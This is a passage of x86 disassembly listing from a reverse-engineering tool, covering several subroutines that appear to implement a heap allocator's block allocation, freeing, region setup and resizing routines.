		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DCFB4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFAC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DCFAC
		mov	eax, dword_4DCFB4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DCFB4
		mov	ecx, dword_4DCFAC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DCFB4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DCFB4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DCFB4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DCFB4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 2790000h
		mov	eax, dword_4DCFB8
		mov	edx, dword_4DCFBC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DCFB4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFB8
		cmp	eax, dword_4DCFB4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFBC
		mov	dword_4DCFB0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFAC, edi
		mov	dword_4DCFB4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DCFB8
		mov	edx, dword_4DCFBC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DCFB0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DCFB0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DCFB4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DCFAC
		jnz	short loc_41E4C7
		and	dword_4DCFB4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DCFB8
		mov	ecx, dword_4DCFA8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DCFBC
		push	edi
		push	dword_4DCFC4
		nop
		call	near ptr 2850000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DCFA8, 10h
		mov	dword_4DCFBC, eax
		mov	eax, dword_4DCFB8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DCFBC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DCFC4
		lea	esi, [ecx+eax*4]
		call	near ptr 27A0000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28A1994h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DCFC4
		call	near ptr 2790000h
		nop


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DCFB8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28A1994h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
